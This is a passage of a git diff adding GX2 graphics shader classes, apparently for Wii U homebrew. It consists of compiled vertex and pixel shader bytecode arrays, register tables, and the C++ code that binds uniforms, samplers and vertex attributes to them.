0x07080000,0x0100c20f,0x07088000,0x0104622f, + 0x00458001,0x000cea4f,0x07288081,0x0204f66f, + 0x00850000,0x0200620f,0x00858000,0x05046a2f, + 0x07080001,0x0108c24f,0x01818001,0x030c726f, + 0x07cc8080,0xfe04c22f,0x01c10000,0x0500660f, + 0x00e18000,0xfe04622f,0x00450001,0x0308624f, + 0x07cc9f01,0x7f0ce26f,0x00c10080,0xfe00e60f, + 0x07cc1f00,0x7e00660f,0x00a10001,0xfe08c22f, + 0x01a10001,0x0408624f,0x00818001,0x7f086a6f, + 0x07c09f80,0x7e048200,0x07e00f00,0xfe008220, + 0x07cc1f01,0x7e086a4f,0x07c09f81,0x7f0c8240, + 0x07c08f80,0xfe088260,0x2c34800d,0xe3b4f15e, + 0x7642ed30,0x7408600d +}; + +static const u32 cpVertexShaderRegs[] = { + 0x00000108,0x00000000,0x00000002,0x00000001, + 0xffff0001,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0x00000000,0xfffffffc, + 0x00000002,0x00000000,0x00000001,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x00000000,0x0000000e,0x00000010 +}; + +static const u32 cPixelShaderProgram[] = +{ + 0x20000000,0x000008a4,0x03000000,0x01004085, + 0x23000000,0x000044a8,0x35000000,0x000000a4, + 0x06000000,0x01004085,0x36000000,0x00002ca8, + 0x50000000,0x0000c080,0x42000000,0x00001ca0, + 0x00800000,0x88062094,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0xfd001f80,0x900c0060,0x0000803f,0x00000000, + 0x02011f80,0x8c110000,0xf8402000,0x9006a00f, + 0x02552001,0x00000020,0x01248082,0x80020060, + 0xfe3c1f00,0x1000e04f,0xfe041f80,0x1033c00f, + 0xfe482081,0x80060020,0xfee40f81,0x0289e30f, + 0x02c51f80,0x80060060,0xfeec0f80,0x0285634f, + 0xfec80f80,0x80000060,0xfe4ca081,0x9000e04f, + 0xfe281f00,0x80060000,0xf8c01f81,0x9006e02f, + 0xfee00f81,0xfd80636f,0x0000803f,0x00000000, + 0x7fc49f81,0xf880e34f,0xfe381f80,0x00000000, + 0x7de00f81,0xfe800360,0x01011f80,0x8c100000, + 0x00a81f00,0x9000e02f,0x00000082,0x80020060, + 0x00002040,0x00000000,0xfeac9f80,0xfd00624f, + 0x3333333f,0x00002040,0xfee88f80,0x0101620f, + 0x00cc1f80,0x9000e06f,0xf8c09f01,0x80060020, + 0xfe2c1f80,0x9006e04f,0xfee48f81,0xf880630f, + 0x7fc81f80,0xfd800360,0x0000803f,0x00000000, + 0x000ca001,0x80000000,0x00091f00,0x800c0020, + 0x00051f00,0x800c0040,0x00011f80,0x800c0060, + 0xfe2c0000,0x90002000,0xfe288000,0x90002020, + 0xfe240001,0x90002040,0xfe208081,0x90002060, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x10000100,0x01100df0,0x00008010,0xecdfea0d, + 0x99720984,0x041cab0d,0xa28a9ccd,0x95d199a5 +}; +static const u32 cPixelShaderRegs[] = { + 0x00000102,0x00000002,0x14000002,0x00000000, + 0x00000002,0x00000100,0x00000101,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x0000000f,0x00000001,0x00000010, + 0x00000000 +}; + +Shader3D * Shader3D::shaderInstance = NULL; + +Shader3D::Shader3D() + : vertexShader(cuAttributeCount) +{ + //! create pixel shader + pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs)); + + colorIntensityLocation = 0; + fadeDistanceLocation = 4; + fadeOutLocation = 8; + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); + + samplerLocation = 0; + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + + //! create vertex shader + vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); + + modelMatrixLocation = 0; + projectionMatrixLocation = 16; + viewMatrixLocation = 32; + vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); + + positionLocation = 0; + texCoordLocation = 1; + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + + //! setup attribute streams + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + + //! create fetch shader + fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); + + //! initialize default quad texture vertexes as those are very commonly used + //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 + posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); + texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); + + //! position vertex structure and texture coordinate vertex structure + int i = 0; + posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + + i = 0; + texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; + texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; + texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; + GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); +} + +Shader3D::~Shader3D() +{ + if(posVtxs) + { + free(posVtxs); + posVtxs = NULL; + } + if(texCoords) + { + free(texCoords); + texCoords = NULL; + } + + delete fetchShader; + fetchShader = NULL; +} diff --git a/src/video/shaders/Shader3D.h b/src/video/shaders/Shader3D.h new file mode 100644 index 0000000..7289152 --- /dev/null +++ b/src/video/shaders/Shader3D.h @@ -0,0 +1,119 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef SHADER_3D_H_ +#define SHADER_3D_H_ + +#include "VertexShader.h" +#include "PixelShader.h" +#include "FetchShader.h" + +class Shader3D : public Shader +{ +private: + Shader3D(); + virtual ~Shader3D(); + + static Shader3D * shaderInstance; + + static const unsigned char cuAttributeCount = 2; + static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; + static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; + + FetchShader *fetchShader; + VertexShader vertexShader; + PixelShader pixelShader; + + f32 *posVtxs; + f32 *texCoords; + + u32 modelMatrixLocation; + u32 viewMatrixLocation; + u32 projectionMatrixLocation; + u32 positionLocation; + u32 texCoordLocation; + + u32 colorIntensityLocation; + u32 fadeDistanceLocation; + u32 fadeOutLocation; + u32 samplerLocation; +public: + static Shader3D *instance() { + if(!shaderInstance) { + shaderInstance = new Shader3D(); + } + return shaderInstance; + } + static void destroyInstance() { + if(shaderInstance) { + delete shaderInstance; + shaderInstance = NULL; + } + } + + void setShaders(void) const + { + fetchShader->setShader(); + vertexShader.setShader(); + pixelShader.setShader(); + } + + void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL) const + { + if(posVtxs_in && texCoords_in && vtxCount) + { + VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); + VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); + } + else { + //! use default quad vertex and texture coordinates if nothing is passed + VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); + VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); + } + } + + void setProjectionMtx(const glm::mat4 & mtx) + { + VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); + } + void setViewMtx(const glm::mat4 & mtx) + { + VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); + } + void setModelViewMtx(const glm::mat4 & mtx) + { + VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); + } + void setColorIntensity(const glm::vec4 & vec) + { + PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); + } + void setAlphaFadeOut(const glm::vec4 & vec) + { + PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); + } + void setDistanceFadeOut(const float & value) + { + PixelShader::setUniformReg(fadeDistanceLocation, 4, &value); + } + + void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { + GX2SetPixelTexture(texture, samplerLocation); + GX2SetPixelSampler(sampler, samplerLocation); + } +}; + +#endif // SHADER_3D_H_ diff --git a/src/video/shaders/ShaderFractalColor.cpp b/src/video/shaders/ShaderFractalColor.cpp new file mode 100644 index 0000000..7e8624c --- /dev/null +++ b/src/video/shaders/ShaderFractalColor.cpp @@ -0,0 +1,373 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "ShaderFractalColor.h" + +static const u32 cpVertexShaderProgram[] = +{ + 0x00000000,0x00008009,0x20000000,0x0000eca1, + 0x00c00000,0x88068093,0x01400200,0x9a048013, + 0x9c000000,0x000044a0,0x3c200000,0x88060094, + 0x02400000,0x88062014,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, + 0x03001f00,0x900c8040,0x03041f80,0x900c8060, + 0x076da101,0x9000e04f,0x0769a181,0x9000e06f, + 0x0745a101,0x9000c00f,0x0741a181,0x9000c02f, + 0x074da101,0x9000c04f,0x0749a181,0x9000c06f, + 0x0bc9a000,0x7f00e20f,0x0bc92080,0x7f04e22f, + 0x0bc9a001,0x7f08e24f,0x0bc92081,0x7f0ce26f, + 0x0725a101,0x9000a00f,0x0721a181,0x9000a02f, + 0x072da101,0x9000a04f,0x0729a181,0x9000a06f, + 0x0ac9a000,0x7e00c20f,0x0ac92080,0x7e04c22f, + 0x0ac9a001,0x7e08c24f,0x0ac92081,0x7e0cc26f, + 0x0ba5a000,0x7f00e20f,0x0ba52080,0x7f04e22f, + 0x0ba5a001,0x7f08e24f,0x0ba52081,0x7f0ce26f, + 0x08eda000,0x9000800f,0x08ed2080,0x9000802f, + 0x08eda001,0x9000804f,0x08ed2081,0x9000806f, + 0x09c9a000,0x7d00a20f,0x09c92080,0x7d04a22f, + 0x09c9a001,0x7d08a24f,0x09c92081,0x7d0ca26f, + 0x0aa5a000,0x7e00c20f,0x0aa52080,0x7e04c22f, + 0x0aa5a001,0x7e08c24f,0x0aa52081,0x7e0cc26f, + 0x0b81a000,0x7f006200,0x0b812080,0x7f046220, + 0x0b81a001,0x7f080240,0x0b812081,0x7f0c0260, + 0x08c9a000,0x7c00820f,0x08c92080,0x7c04822f, + 0x08c9a001,0x7c08824f,0x08c92081,0x7c0c826f, + 0x09a5a000,0x7d00a20f,0x09a52080,0x7d04a22f, + 0x09a5a001,0x7d08a24f,0x09a52081,0x7d0ca26f, + 0x0a81a000,0x7e008200,0x0a812080,0x7e048220, + 0x0a81a001,0x7e086240,0x0a812081,0x7e0c4260, + 0x0340a001,0x9000c00f,0x0344a001,0x9000c02f, + 0x0048a001,0x9000c04f,0x004ca001,0x9000c06f, + 0x0364a081,0x9000e02f,0x0360a001,0x9000e00f, + 0x0324a001,0x90000020,0x0068a001,0x9000e04f, + 0x006ca001,0x9000e06f,0x0320a081,0x90000000, + 0x08a5a000,0x7c00820f,0x08a52080,0x7c04822f, + 0x08a5a001,0x7c08824f,0x08a52081,0x7c0c826f, + 0x0981a000,0x7d00a200,0x09812080,0x7d04a220, + 0x0981a001,0x7d08a240,0x09812081,0x7d0c6260, + 0x02890000,0x7e00c20f,0x02898000,0x7e04c22f, + 0x0028a001,0x9000a04f,0x002ca001,0x9000c06f, + 0x02498081,0x7e0caa6f,0x03890000,0x7f00e20f, + 0x03898000,0x7f04e22f,0x02690001,0x7e08f64f, + 0x03498001,0x7f0ce26f,0x03690081,0x7f08ca4f, + 0x0881a000,0x7c00c200,0x08812080,0x7c04c220, + 0x0881a001,0x7c08e240,0x08812081,0x7c0ca260, + 0x0300a001,0x9000800f,0x0304a001,0x9000802f, + 0x0008a001,0x9000804f,0x000ca001,0x9000806f, + 0x01898080,0x0004aa2f,0x01890000,0x0000a20f, + 0x02a58000,0x7e04c22f,0x01690001,0x7d08a24f, + 0x01498081,0x7e0cc26f,0x02a50000,0x7e00f60f, + 0x03a58000,0x7f04622f,0x02a50001,0x7f08e24f, + 0x02658001,0x7d0ca26f,0x03a50080,0x7f00ca0f, + 0x00890000,0x7c00820f,0x00898000,0x7c049220, + 0x03a50001,0x7e08c24f,0x03658001,0x7f0ce26f, + 0x03c18080,0xfe04862f,0x01a50000,0x7d008200, + 0x01a58000,0x7d04622f,0x00690001,0x7c086240, + 0x00498081,0x7c0c4260,0x02c10000,0x7f00e20f, + 0x02c18000,0x7e04c62f,0x01a50001,0x7d080240, + 0x01658001,0x7e0c0260,0x01c18080,0xfe040620, + 0x03c10000,0x7e00620f,0x03a18001,0x7f0c622f, + 0x02e10001,0x7f08764f,0x02a18001,0x7d0c766f, + 0x03e10081,0x7e084a0f,0x02e80f00,0xfe000e00, + 0x02c88f00,0x7c046220,0x02c81f01,0xff00c240, + 0x02c89f01,0xfe04c260,0x00a50080,0x7c00aa00, + 0x01c10000,0x0400760f,0x00a58000,0x0404622f, + 0x00a50001,0x0308e24f,0x00658001,0x020c626f, + 0x00c10080,0x0500ea0f,0x02c41f00,0x0000620f, + 0x00c18000,0xfe04c22f,0x01e10001,0x0008624f, + 0x01a18001,0x000c666f,0x00a18081,0xfe0ce66f, + 0x00e10001,0x7f08620f,0x02048000,0x03046a2f, + 0x02c41f01,0x06086a4f,0x02c49f01,0x060c6a6f, + 0x02e00f80,0xfe000220,0x02c08f00,0xfe040200, + 0x02e08f01,0xfe0c0240,0x02c01f80,0xfe080260, + 0x8aa480ad,0x2bfc5ca6,0xb5e05b5b,0xd48dc71c +}; + +static const u32 cpVertexShaderRegs[] = { + 0x00000108,0x00000000,0x00000004,0x00000001, + 0xff000201,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0xffffffff,0xffffffff, + 0xffffffff,0xffffffff,0x00000000,0xfffffff8, + 0x00000003,0x00000001,0x00000000,0x00000002, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x000000ff,0x000000ff,0x000000ff, + 0x000000ff,0x00000000,0x0000000e,0x00000010 +}; + +static const u32 cpPixelShaderProgram[] = +{ + 0x20000000,0x000008a4,0x04000000,0x01004085, + 0x23000000,0x0000eca1,0x9f000000,0x0000e0a8, + 0xd8000000,0x000000a4,0x07000000,0x01004085, + 0xd9000000,0x000048a8,0xec000000,0x000000a4, + 0x0a000000,0x01004085,0xed000000,0x000050a8, + 0x02010000,0x000030a0,0x00000000,0x88062094, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0xfd001f80,0x900c0060,0x0000803f,0x00000000, + 0x03011f80,0x8c210000,0xfd001f00,0x900c0000, + 0xfd001f00,0x900ca02f,0x00000002,0x80020040, + 0x00048002,0x80020060,0xf8001f80,0x900cc04f, + 0x0000803f,0x00000000,0xfea81f00,0x9000e00f, + 0xfeac1f00,0x9000e02f,0xf8001f00,0x900c804f, + 0xf8001f80,0x900ca06f,0x00000040,0x00000000, + 0xfea01f00,0x00280000,0xfea41f00,0x00280020, + 0xfe041f00,0x00280040,0xfd041f80,0x00280060, + 0xaf67bb3e,0x00000080,0x7fc41f00,0x00000000, + 0x7fc01f80,0x00000020,0xfe041f00,0x100ac00f, + 0xfe001f80,0x100ac02f,0xfea01f00,0x00280000, + 0xfea41f00,0x00280020,0xfe041f00,0x00280040, + 0xfd041f00,0x1028e06f,0x7fc01f82,0x00000000, + 0x8c65583e,0x00000080,0x7ea41f00,0x80000000, + 0x7ea01f00,0x80000020,0xfee01f00,0x10006040, + 0x7fc48f82,0x00000860,0xa7c4623b,0x00000000, + 0xfea81f00,0x1000e00f,0x7fcc9f01,0x10006020, + 0xfe001f00,0x000a0040,0xfe041f00,0x000a0060, + 0xfea89f80,0x10008040,0x8c65583e,0x3acd13bf, + 0xfeb81f00,0x7e04c20f,0xfebc1f00,0x7e00822f, + 0x03c89f00,0x80060040,0xfea49f00,0x1000e06f, + 0xfea41f81,0x10006060,0x00809043,0x8c65583e, + 0x3acd13bf,0x00000000,0xfea81f00,0xf880a30f, + 0xfe001f00,0x900ca02f,0x7dc41f00,0x1000e04f, + 0xfe081f00,0xfd80636f,0x04081f80,0x900c800f, + 0x0000803f,0x00000000,0xfea81f00,0xf900620f, + 0xfea41f00,0xf900622f,0xfe0c1f00,0x900ca04f, + 0xfec00f00,0x1000c46f,0xfefc0f80,0x10006000, + 0x00000842,0x00000000,0xfeac1f00,0xf900620f, + 0x7fc81f00,0x9000c02f,0x7dc49f00,0x9000e04f, + 0x7df08f01,0x10008060,0x030c1f80,0x900ca02f, + 0x00000842,0x00000000,0xfea41f00,0x80000000, + 0x7ecc1f00,0x9000e02f,0x7e688000,0x80000040, + 0xfea81f00,0x80000060,0x7d6c8081,0x80000000, + 0xa7c4623b,0x00000000,0xfe001f00,0x000a0000, + 0xfe0c1f00,0x000a0020,0xfea41f00,0x80000040, + 0x03648000,0xfe08626f,0x7d648081,0xff00420f, + 0xa7c4623b,0x00000000,0xfeb01f00,0x7e04620f, + 0xfeb41f00,0x7f08662f,0x7c800001,0xff006e4f, + 0xfe081f00,0x000a0060,0x03680081,0xfe0c4e0f, + 0x00809043,0x00000000,0xfebc1f00,0x7f04620f, + 0x7cc41f00,0x00000020,0x7cc49f00,0x1000e04f, + 0xff901f00,0x00000060,0xfe981f80,0x00000000, + 0x00809043,0x00000000,0xfea81f00,0xf900620f, + 0x7cc41f00,0x00000020,0x00c09f00,0x1000c04f, + 0xfe0c1f00,0x80010060,0xff001f80,0x80010000, + 0x00000842,0x00000000,0xfea81f00,0xf900620f, + 0xfecc9f01,0x80000020,0x7fc81f00,0x9000e04f, + 0x7dc89f00,0x1000c86f,0xffe01f80,0x80000000, + 0x00000842,0x00000000,0xfeac1f00,0xf900620f, + 0x7ec81f00,0x9000802f,0xfec49f00,0x9000a040, + 0xfea89f00,0x80000060,0xffe01f80,0x9000a060, + 0x00000842,0xa7c4623b,0xfea41f00,0x80000000, + 0x7ecc1f00,0x9000e02f,0xfe0c1f00,0x000a0040, + 0x7c888081,0x80000000,0xa7c4623b,0x00000000, + 0xfe001f00,0x000a0000,0xfeb81f00,0x7f08622f, + 0xfea49f00,0x80000040,0x048c8081,0xff00420f, + 0x00809043,0xa7c4623b,0xfeb01f00,0x7c04620f, + 0x03600000,0xff00622f,0xfea49f00,0x80000040, + 0xfe081f80,0x000a0060,0x00809043,0x0ccec73c, + 0xfebc1f00,0x7f040200,0xfea09f00,0x90000020, + 0xfe941f00,0x10000040,0xfe081f80,0x30080060, + 0x00809043,0x0ccec73c,0x00041f00,0x20080000, + 0x00a01f00,0x80000020,0x002c1f02,0x1000e04f, + 0x00081f80,0x80010060,0x0ccec73c,0x00000000, + 0xfe201f02,0x1000800f,0xfec81f03,0x80020020, + 0xfe041f00,0x20080040,0xfe881f00,0x00000060, + 0xfecc9f81,0x9000a06f,0xfe0c1f00,0x000a0000, + 0xfe801f00,0x00000020,0xfec01f02,0x80020040, + 0xfe281f02,0x1000c06f,0xfe841f82,0x1000804f, + 0xfe041f00,0x000a0000,0x7fc81f02,0x00000020, + 0xfe8c1f00,0x00000040,0xfecc9f03,0x80020060, + 0xfe881f82,0x1000a00f,0x7cc01f02,0x00000000, + 0xfe8c1f02,0x1000e02f,0xfec49f00,0x80000040, + 0xfe081f00,0x000a0060,0x03c89f80,0x9000e04f, + 0x7ecc9f03,0x00000000,0xfec01f00,0x80000020, + 0x04c81f00,0x80000040,0x7c880f01,0xfe086a6f, + 0x7dac8f81,0x9000800f,0x7da00f00,0xfe04620f, + 0xfec01f00,0x80000020,0x03c01f00,0x80000840, + 0x03ac0f00,0xfe08c66f,0xfebc9f80,0xfd00420f, + 0xe07be53f,0x5c8e5a3f,0xfeb09f00,0xfd00620f, + 0x05e81f00,0x9000f02f,0x7fe48f00,0xfe04624f, + 0x04ec8f00,0xfe08626f,0x03840f81,0x7f08a20f, + 0xe07be53f,0x5c8e5a3f,0x7e0c1f00,0x900ce00f, + 0xfe0c1f00,0x900c802f,0x05cc1f00,0x9000e84f, + 0xfeb89f80,0xfd00626f,0xe07be53f,0x5c8e5a3f, + 0x7cc09f81,0x80000020,0x7fa40f00,0x00280000, + 0xfe848f00,0x00280020,0x7fe80f00,0x00280440, + 0xfd001f80,0x00280060,0x00000080,0x00000000, + 0xfdc01f80,0xf800620f,0x00000243,0x00000000, + 0xfea01f80,0x90000060,0x5555d53f,0x00000000, + 0x02011f80,0x8c110000,0x02448002,0x80020000, + 0xf8402000,0x9006a02f,0x02552081,0x00000040, + 0xfe301f00,0x1000e06f,0xfe081f80,0x1033c02f, + 0xfe4c2081,0x80060040,0xfee88f81,0x0289e32f, + 0x02c59f80,0x80060000,0xfee08f80,0x0285636f, + 0xfecc8f80,0x80000000,0xfe40a081,0x80000060, + 0x00cc9f81,0x9000e04f,0xfe281f00,0x80060000, + 0xf8c01f81,0x9006c02f,0xfee00f81,0xfd80636f, + 0x0000803f,0x00000000,0x7ec49f81,0xf880e34f, + 0xfe381f80,0x00000000,0x7de40f81,0xfe800360, + 0x00011f80,0x8c100000,0xf8001f00,0x900ce00f, + 0x00311f00,0x1000e02f,0x02a41f00,0xf910624f, + 0x02a01f00,0xf910626f,0x00011f80,0x1033e04f, + 0x00000040,0x00000000,0xfecc9f03,0x80020000, + 0xfec81f83,0x80020060,0x7fd49f01,0x00000020, + 0x7fd41f80,0x00000040,0xfe081f00,0x80010000, + 0xfe041f80,0x80010060,0xfee00f01,0x80000000, + 0xfeec0f81,0x80000020,0xfec01f00,0x00280000, + 0xfec49f00,0x00280020,0x7fe00f00,0x00280040, + 0xfd001f80,0x00280060,0x00000080,0x00000000, + 0xfe001f80,0x00350000,0x00ec1f82,0x000c0260, + 0x01011f00,0x800c0000,0x01051f00,0x800c0020, + 0x002c1f00,0x80060040,0xf8008001,0x9006e06f, + 0x01091f80,0x800c0000,0x01c01f00,0x90000000, + 0xfe088001,0xfd80632f,0x01e81f00,0x90000040, + 0x01c49f80,0x90000020,0x0000803f,0x00000000, + 0x7fcc9f80,0xf880630f,0xfe20a081,0x80000000, + 0x01cc1f80,0x90000060,0xc21e82a7,0x62ccc547, + 0x1708607c,0x73ea57a6 +}; +static const u32 cpPixelShaderRegs[] = { + 0x00000106,0x00000002,0x14000003,0x00000000, + 0x00000003,0x00000100,0x00000101,0x00000102, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x00000000,0x00000000,0x00000000, + 0x00000000,0x0000000f,0x00000001,0x00000010, + 0x00000000 +}; + +ShaderFractalColor * ShaderFractalColor::shaderInstance = NULL; + +ShaderFractalColor::ShaderFractalColor() + : vertexShader(cuAttributeCount) +{ + //! create pixel shader + pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); + + blurLocation = 0; + colorIntensityLocation = 4; + fadeOutLocation = 8; + fractalLocation = 12; + pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_border", GX2_VAR_TYPE_FLOAT, 1, blurLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fract_alpha", GX2_VAR_TYPE_INT, 1, fractalLocation, 0xffffffff }); + + //! create vertex shader + vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); + + modelMatrixLocation = 0; + projectionMatrixLocation = 16; + viewMatrixLocation = 32; + vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", 